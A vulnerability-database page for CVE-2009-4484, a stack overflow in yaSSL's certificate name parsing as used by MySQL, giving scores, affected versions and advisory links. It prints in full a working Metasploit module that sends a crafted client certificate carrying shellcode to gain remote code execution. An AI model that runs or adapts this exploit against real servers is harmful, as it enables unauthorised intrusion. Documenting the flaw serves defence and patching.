CVE-2009-4484 : Detail

CVE-2009-4484

Overflow
95.77%V3
Network
2009-12-30
20h00 +00:00
2018-01-04
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Multiple stack-based buffer overflows in the CertDecoder::GetName function in src/asn.cpp in TaoCrypt in yaSSL before 1.9.9, as used in mysqld in MySQL 5.0.x before 5.0.90, MySQL 5.1.x before 5.1.43, MySQL 5.5.x through 5.5.0-m2, and other products, allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption and daemon crash) by establishing an SSL connection and sending an X.509 client certificate with a crafted name field, as demonstrated by mysql_overflow1.py and the vd_mysql5 module in VulnDisco Pack Professional 8.11. NOTE: this was originally reported for MySQL 5.0.51a.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 16850

Publication date : 2010-04-29 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: mysql_yassl_getname.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier) implementation bundled with MySQL. By sending a specially crafted client certificate, an attacker can execute arbitrary code. This vulnerability is present within the CertDecoder::GetName function inside "taocrypt/src/asn.cpp". However, the stack buffer that is written to exists within a parent function's stack frame. NOTE: This vulnerability requires a non-default configuration. First, the attacker must be able to pass the host-based authentication. Next, the server must be configured to listen on an accessible network interface. Lastly, the server must have been manually configured to use SSL. The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing on Windows XP SP3, these protections successfully prevented exploitation. Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary package were not exploitable due to the use of the compiler's FORTIFY feature. Although suse11 was mentioned in the original blog post, the binary package they provide does not contain yaSSL or support SSL. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2009-4484' ], [ 'BID', '37640' ], [ 'BID', '37943' ], [ 'BID', '37974' ], [ 'OSVDB', '61956' ], [ 'URL', 'http://secunia.com/advisories/38344/' ], [ 'URL', 'http://intevydis.blogspot.com/2010/01/mysq-yassl-stack-overflow.html' ] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1046, 'BadChars' => "", 'StackAdjustment' => -3500, 'DisableNops' => true }, 'Platform' => 'linux', 'Targets' => [ [ 'Automatic', { } ], [ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)', { 'JmpEsp' => 0x0807dc34 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 25 2010')) register_options([ Opt::RPORT(3306) ], self) end def exploit connect # read the mysql server hello :) version = nil if (buf = sock.get_once(-1, 5)) #print_status("\n" + Rex::Text.to_hex_dump(buf)) if (buf =~ /is not allowed to connect/) raise RuntimeError, 'The server refused our connection!' end len1,cmd = buf[0,5].unpack('VC') rest = buf[5,len1] idx = rest.index("\x00") if (idx) version = rest[0,idx] print_status("Server reports version: #{version}") end end # handle automatic target selection mytarget = nil if (target.name =~ /Automatic/) print_status("Attempting to locate a corresponding target") version = "(" + version + ")" targets.each { |tgt| if (tgt.name.include?(version)) mytarget = tgt end } if (not mytarget) raise RuntimeError, 'Unable to detect target automatically' else print_status("Using automatically detected target: #{mytarget.name}") end else mytarget = target print_status("Trying target #{mytarget.name}...") end # create/send the hello packet hello = [0x01000020].pack('V') hello << "\x85\xae\x03\x00"+"\x00\x00\x00\x01"+"\x08\x00\x00\x00" hello << "\x00" * 20 hello << "\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1" hello << "\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5" hello << "\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39" hello << "\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f" hello << "\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12" hello << "\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06" hello << "\x00\x03\x02\x01\x00" sock.put(hello) # build a cn that will trigger the vulnerability cn = rand_text(payload_space - payload.encoded.length) cn << payload.encoded cn << [0,0].pack('VV') # memset(x,0,0); (this is x and the length) # NOTE: x in above (also gets passed to free()) pad = 1074 - payload_space cn << rand_text(pad) cn << [mytarget['JmpEsp']].pack('V') distance = 4 + pad + 8 + payload.encoded.length cn << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string cert = "\x2a\x86\x00\x84" cert << [cn.length].pack('N') cert << cn cert = "\x30"+ "\x82\x01\x01"+ "\x31"+ "\x82\x01\x01"+ "\x30"+ "\x82\x01\x01"+ "\x06"+ "\x82\x00\x02" + cert cert = "\xa0\x03" + "\x02\x01\x02" + "\x02\x01\x00" + "\x30" + "\x0d" + "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00" + cert # wrap in 2 sequences cert = SNMP::BER.encode_tlv(0x30, cert) cert = SNMP::BER.encode_tlv(0x30, cert) cert1 = big_endian_24bit(cert.length) + cert certs = big_endian_24bit(cert1.length) + cert1 handshake = "\x0b" + big_endian_24bit(certs.length) + certs msg = "\x16\x03\x01" msg << [handshake.length].pack('n') msg << handshake sock.put(msg) handler disconnect end def big_endian_24bit(len) uno = (len >> 16) & 0xff dos = (len >> 8) & 0xff tre = len & 0xff [uno,dos,tre].pack('C*') end end

Products Mentioned

Configuraton 0

Oracle>>Mysql >> Version From (including) 5.0.0 To (excluding) 5.0.90

Oracle>>Mysql >> Version From (including) 5.1.0 To (excluding) 5.1.43

Oracle>>Mysql >> Version 5.0.0

Oracle>>Mysql >> Version 5.0.0

Configuraton 0

Wolfssl>>Yassl >> Version To (excluding) 1.9.9

Configuraton 0

Canonical>>Ubuntu_linux >> Version 6.06

Canonical>>Ubuntu_linux >> Version 8.04

Canonical>>Ubuntu_linux >> Version 8.10

Canonical>>Ubuntu_linux >> Version 9.04

Canonical>>Ubuntu_linux >> Version 9.10

Canonical>>Ubuntu_linux >> Version 10.04

Canonical>>Ubuntu_linux >> Version 10.10

Canonical>>Ubuntu_linux >> Version 11.04

Canonical>>Ubuntu_linux >> Version 11.10

Configuraton 0

Debian>>Debian_linux >> Version 4.0

Debian>>Debian_linux >> Version 5.0

Debian>>Debian_linux >> Version 6.0

Configuraton 0

Mariadb>>Mariadb >> Version From (including) 5.1 To (excluding) 5.1.42

References

http://secunia.com/advisories/38573
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-1397-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/37493
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.yassl.com/release.html
Tags : x_refsource_CONFIRM
http://secunia.com/advisories/38364
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/38517
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/37974
Tags : vdb-entry, x_refsource_BID
http://securitytracker.com/id?1023513
Tags : vdb-entry, x_refsource_SECTRACK
http://ubuntu.com/usn/usn-897-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.vupen.com/english/advisories/2010/0236
Tags : vdb-entry, x_refsource_VUPEN
http://bugs.mysql.com/bug.php?id=50227
Tags : x_refsource_CONFIRM
http://www.securityfocus.com/bid/37640
Tags : vdb-entry, x_refsource_BID
http://lists.mysql.com/commits/96697
Tags : mailing-list, x_refsource_MLIST
http://securitytracker.com/id?1023402
Tags : vdb-entry, x_refsource_SECTRACK
http://www.osvdb.org/61956
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/38344
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/37943
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2010/0233
Tags : vdb-entry, x_refsource_VUPEN
http://www.debian.org/security/2010/dsa-1997
Tags : vendor-advisory, x_refsource_DEBIAN